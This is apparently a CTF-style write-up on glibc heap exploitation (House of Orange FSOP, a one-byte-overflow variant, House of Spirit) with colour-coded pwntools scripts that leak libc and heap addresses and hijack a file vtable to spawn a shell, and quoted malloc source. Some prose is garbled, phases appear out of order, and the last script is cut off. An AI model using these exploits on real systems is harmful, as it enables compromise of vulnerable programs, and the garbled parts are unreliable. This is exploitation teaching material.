[1m[37medit[0m[1m[37m([0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[36m0x18[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m(([0m[1m[36m0x1000[0m[1m[36m-[0m[1m[36m0x20[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b001[0m[1m[37m))[0m[1m[37m [0m[33m# clobber top chunk's size[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0xfc0[0m[1m[37m)[0m[1m[37m [0m[33m# allocate a chunk large enough to brk a new top chunk and free the old one[0m[1m[37m[0m
[33m# unsortedbin: [old_top_chunk, size: 0xfc0, fd: &main_arena.bins[0], bk: &main_arena.bins[0]][0m[1m[37m[0m
[1m[37m[0m
[33m# phase 3: fake _IO_FILE_plus with malicious vtable[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[36m0x10[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mfake_filep[0m[1m[37m)[0m[1m[37m[0m
[33m# unsortedbin: [old_top_chunk, size: 0x18, fd: NULL, bk: &main_arena-0x10][0m[1m[37m[0m
[33m# phase 2: unsortedbin attack to clobber _IO_list_all to point to fake _IO_FILE_plus[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# serviced from the unsortedbin, results in old_top_chunk.bk->fd = &old_top_chunk[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
=== [1m[4mChallenge solve[22m[24m
There are two main differences from the previous challenge.
First, we can only allocate chunks of size 0x60, so the chunk we
use for the unsortedbin attack must be of size 0x68 instead; this
will still fit in the 0x60 smallbin, but will avoid
[40m[35m`_int_malloc`[39m[49m's fastpath that avoids binning
when the chunk in the unsortedbin is an exact match for the
requested size.
[33m/* Take now instead of binning if exact fit */[0m[1m[37m[0m
[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37msize[0m[1m[37m [0m[1m[36m==[0m[1m[37m [0m[1m[37mnb[0m[1m[37m)[0m[1m[37m[0m
[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[37mset_inuse_bit_at_offset[0m[1m[37m [0m[1m[37m([0m[1m[37mvictim[0m[1m[37m,[0m[1m[37m [0m[1m[37msize[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37mav[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[36m&[0m[1m[37mmain_arena[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mvictim[0m[1m[36m->[0m[1m[37msize[0m[1m[37m [0m[1m[36m|=[0m[1m[37m [0m[1m[37mNON_MAIN_ARENA[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[37mcheck_malloced_chunk[0m[1m[37m [0m[1m[37m([0m[1m[37mav[0m[1m[37m,[0m[1m[37m [0m[1m[37mvictim[0m[1m[37m,[0m[1m[37m [0m[1m[37mnb[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[36m*[0m[1m[37mp[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mchunk2mem[0m[1m[37m [0m[1m[37m([0m[1m[37mvictim[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37malloc_perturb[0m[1m[37m [0m[1m[37m([0m[1m[37mp[0m[1m[37m,[0m[1m[37m [0m[1m[37mbytes[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mp[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
Second, instead of a very generous heap overflow we can only
overflow the first byte of the next chunk's size field (and flags).
Instead of clobbering the top chunk's size field like we did last
time, we can allocate two chunks next to each other, double the
first chunk's size, free this large chunk to put a 0xc0 sized chunk
in the unsortedbin freelist and finally allocate a new 0x60 chunk
to split the tail of the unsortedbin into two 0x60 sized chunks
(the first of which is used to service the request).
This results in a UAF of the second chunk, which we can use to
clobber unsortedbin linked list pointers (and ultimately leak
libc/heap pointers and perform an FSOP attack).
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"one_byte"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mcalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37msize[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[36m0x58[0m[1m[37m:[0m[1m[37m[0m
[1m[37m [0m[33mraise[0m[1m[37m [0m[1m[37mException[0m[1m[37m([0m[33m"size must be 0x58"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37medit[0m[1m[37m([0m[1m[37mindex[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[37mlen[0m[1m[37m([0m[1m[37mdata[0m[1m[37m)[0m[1m[37m [0m[1m[36m>[0m[1m[37m [0m[1m[36m0x59[0m[1m[37m:[0m[1m[37m[0m
[1m[37m [0m[33mraise[0m[1m[37m [0m[1m[37mException[0m[1m[37m([0m[33m"data cannot be larger than 0x59 bytes"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mread[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"4"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m()[0m[1m[36m.[0m[1m[37mstrip[0m[1m[37m()[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mret[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk A[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk B[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk C[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk D[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk E[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk F[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk G[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk H; protects other chunks against consolidation with top chunk[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[36m0x58[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp8[0m[1m[37m([0m[1m[36m0xc0[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[1m[37m))[0m[1m[37m [0m[33m# make chunk B completely overlap chunk C[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m3[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"D"[0m[1m[36m*[0m[1m[36m0x58[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp8[0m[1m[37m([0m[1m[36m0xc0[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[1m[37m))[0m[1m[37m [0m[33m# make chunk E overlap chunk F[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m1[0m[1m[37m)[0m[1m[37m [0m[33m# free chunk B[0m[1m[37m[0m
[33m# unsortedbin: [chunk B (+ C), size: 0xc0, fd: &main_arena.top, bk: &main_arena.top][0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk I; service this request from the tail of the unsortedbin, causing it to be split in two[0m[1m[37m[0m
[33m# unsortedbin: [chunk C, size: 0x60, fd: &main_arena.top, bk: &main_arena.top][0m[1m[37m[0m
[1m[37m[0m
[33m# leaks[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mu64[0m[1m[37m([0m[1m[37mread[0m[1m[37m([0m[1m[36m2[0m[1m[37m)[:[0m[1m[36m8[0m[1m[37m])[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mmain_arena[0m[1m[36m+[0m[1m[36m0x58[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m4[0m[1m[37m)[0m[1m[37m[0m
[33m# unsortedbin: [chunk E (+ F), size: 0xc0, fd: &chunk_c, bk: &main_arena.bins[0]-0x10] -> [chunk C, size: 0x60, fd: &main_arena.bins[0]-0x10, bk: &chunk_e][0m[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mu64[0m[1m[37m([0m[1m[37mread[0m[1m[37m([0m[1m[36m2[0m[1m[37m)[[0m[1m[36m8[0m[1m[37m:[0m[1m[36m16[0m[1m[37m])[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m0x180[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk J[0m[1m[37m[0m
[33m# unsortedbin: [chunk E (+ F), size: 0xc0, fd: &main_arena.bins[0]-0x10, bk: &main_arena.bins[0]-0x10][0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk K[0m[1m[37m[0m
[33m# unsortedbin: [chunk F, size: 0x60, fd: &main_arena.bins[0]-0x10, bk: &main_arena.bins[0]-0x10][0m[1m[37m[0m
[1m[37m[0m
[33m# construct fake file[0m[1m[37m[0m
[1m[37mfake_vtable[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mflat[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0xcafebabe[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37msystem[0m[1m[37m),[0m[1m[37m[0m
[1m[37m)[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m10[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"K"[0m[1m[36m*[0m[1m[36m0x50[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp8[0m[1m[37m([0m[1m[36m0x68[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[1m[37m))[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m5[0m[1m[37m,[0m[1m[37m [0m[1m[37mflat[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m_IO_list_all[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m),[0m[1m[37m [0m[33m# chunk_f.bk[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m1[0m[1m[37m),[0m[1m[37m [0m[33m# _IO_write_base[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m2[0m[1m[37m),[0m[1m[37m [0m[33m# _IO_write_ptr[0m[1m[37m[0m
[1m[37m [0m[1m[37mfake_vtable[0m[1m[37m,[0m[1m[37m[0m
[1m[37m))[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m6[0m[1m[37m,[0m[1m[37m [0m[1m[37mflat[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[37m([0m[1m[36m0xc0[0m[1m[36m-[0m[1m[36m8[0m[1m[36m-[0m[1m[36m0x68[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp32[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m [0m[33m# _mode[0m[1m[37m[0m
[1m[37m))[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m7[0m[1m[37m,[0m[1m[37m [0m[1m[37mflat[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[37m([0m[1m[36m20[0m[1m[36m-[0m[1m[36m0x8[0m[1m[36m-[0m[1m[36m4[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mheap[0m[1m[36m+[0m[1m[36m0x210[0m[1m[37m),[0m[1m[37m [0m[33m# vtable[0m[1m[37m[0m
[1m[37m))[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk L; carry out unsortedbin attack[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
== [1m[4mHouse of Spirit[22m[24m
If we have control over a pointer passed to
[40m[35m`free`[39m[49m, we can craft a fake chunk overlapping
target memory for an arbitrary write.
But there are caveats: especially on newer versions of Glibc,
chunks being freed are subject to a bevy of integrity checks, so
our fake chunk has to be nearly indistinguishable from a real
chunk.
[33m/* Little security check which won't hurt performance: the[0m
[33m allocator never wrapps around at the end of the address space.[0m
[33m Therefore we can exclude some size values which might appear[0m
[33m here by accident or by "design" from some intruder. */[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[37m__builtin_expect[0m[1m[37m [0m[1m[37m(([0m[1m[36muintptr_t[0m[1m[37m)[0m[1m[37m [0m[1m[37mp[0m[1m[37m [0m[1m[36m>[0m[1m[37m [0m[1m[37m([0m[1m[36muintptr_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[36m||[0m[1m[37m [0m[37m__builtin_expect[0m[1m[37m [0m[1m[37m([0m[37mmisaligned_chunk[0m[1m[37m [0m[1m[37m([0m[1m[37mp[0m[1m[37m),[0m[1m[37m [0m[1m[36m0[0m[1m[37m))[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"free(): invalid pointer"[0m[1m[37m);[0m[1m[37m[0m
[33m/* We know that each chunk is at least MINSIZE bytes in size or a[0m
[33m multiple of MALLOC_ALIGNMENT. */[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[37m__glibc_unlikely[0m[1m[37m [0m[1m[37m([0m[1m[37msize[0m[1m[37m [0m[1m[36m<[0m[1m[37m [0m[1m[37mMINSIZE[0m[1m[37m [0m[1m[36m||[0m[1m[37m [0m[1m[36m![0m[37maligned_OK[0m[1m[37m [0m[1m[37m([0m[1m[37msize[0m[1m[37m)))[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"free(): invalid size"[0m[1m[37m);[0m[1m[37m[0m
[33m/* Lightweight tests: check whether the block is already the[0m
[33m top block. */[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[37m__glibc_unlikely[0m[1m[37m [0m[1m[37m([0m[1m[37mp[0m[1m[37m [0m[1m[36m==[0m[1m[37m [0m[1m[37mav[0m[1m[36m->[0m[1m[37mtop[0m[1m[37m))[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"double free or corruption (top)"[0m[1m[37m);[0m[1m[37m[0m
[33m/* Or whether the next chunk is beyond the boundaries of the arena. */[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[37m__builtin_expect[0m[1m[37m [0m[1m[37m([0m[37mcontiguous[0m[1m[37m [0m[1m[37m([0m[1m[37mav[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[36m&&[0m[1m[37m [0m[1m[37m([0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m)[0m[1m[37m [0m[1m[37mnextchunk[0m[1m[37m[0m
[1m[37m [0m[1m[36m>=[0m[1m[37m [0m[1m[37m(([0m[1m[36mchar[0m[1m[37m [0m[1m[36m*[0m[1m[37m)[0m[1m[37m [0m[1m[37mav[0m[1m[36m->[0m[1m[37mtop[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[37mchunksize[0m[1m[37m([0m[1m[37mav[0m[1m[36m->[0m[1m[37mtop[0m[1m[37m)),[0m[1m[37m [0m[1m[36m0[0m[1m[37m))[0m[1m[37m[0m
[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"double free or corruption (out)"[0m[1m[37m);[0m[1m[37m[0m
[33m/* Or whether the block is actually not marked used. */[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[37m__glibc_unlikely[0m[1m[37m [0m[1m[37m([0m[1m[36m![0m[37mprev_inuse[0m[1m[37m([0m[1m[37mnextchunk[0m[1m[37m)))[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"double free or corruption (!prev)"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37mnextsize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mchunksize[0m[1m[37m([0m[1m[37mnextchunk[0m[1m[37m);[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[37m__builtin_expect[0m[1m[37m [0m[1m[37m([0m[37mchunksize_nomask[0m[1m[37m [0m[1m[37m([0m[1m[37mnextchunk[0m[1m[37m)[0m[1m[37m [0m[1m[36m<=[0m[1m[37m [0m[1m[36m2[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37mSIZE_SZ[0m[1m[37m,[0m[1m[37m [0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[1m[36m||[0m[1m[37m [0m[37m__builtin_expect[0m[1m[37m [0m[1m[37m([0m[1m[37mnextsize[0m[1m[37m [0m[1m[36m>=[0m[1m[37m [0m[1m[37mav[0m[1m[36m->[0m[1m[37msystem_mem[0m[1m[37m,[0m[1m[37m [0m[1m[36m0[0m[1m[37m))[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"free(): invalid next size (normal)"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[37mfree_perturb[0m[1m[37m [0m[1m[37m([0m[37mchunk2mem[0m[1m[37m([0m[1m[37mp[0m[1m[37m),[0m[1m[37m [0m[1m[37msize[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m2[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[37mSIZE_SZ[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[33m/* consolidate backward */[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[1m[36m![0m[37mprev_inuse[0m[1m[37m([0m[1m[37mp[0m[1m[37m))[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mprevsize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mprev_size[0m[1m[37m [0m[1m[37m([0m[1m[37mp[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37msize[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[1m[37mprevsize[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mp[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mchunk_at_offset[0m[1m[37m([0m[1m[37mp[0m[1m[37m,[0m[1m[37m [0m[1m[36m-[0m[1m[37m(([0m[1m[36mlong[0m[1m[37m)[0m[1m[37m [0m[1m[37mprevsize[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[37m__glibc_unlikely[0m[1m[37m [0m[1m[37m([0m[37mchunksize[0m[1m[37m([0m[1m[37mp[0m[1m[37m)[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[37mprevsize[0m[1m[37m))[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"corrupted size vs. prev_size while consolidating"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37munlink_chunk[0m[1m[37m [0m[1m[37m([0m[1m[37mav[0m[1m[37m,[0m[1m[37m [0m[1m[37mp[0m[1m[37m);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
In short order, chunks must
the heap
cleared
probably segfault) or [40m[35m`is_mmapped`[39m[49m (will
not add chunk to a freelist)
=== [1m[4mTODO[24m Solve[22m[24m
Because we have a heap leak, the simplest thing to do is pivot to a
double free and then use the fastbin dup technique, but alas, we
can't use the simple version due to the quirk of addresses behaving
differently under QEMU (if we had more allocations it might be a
different story).
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"house_of_spirit"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m,[0m[1m[37m [0m[1m[37mname[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
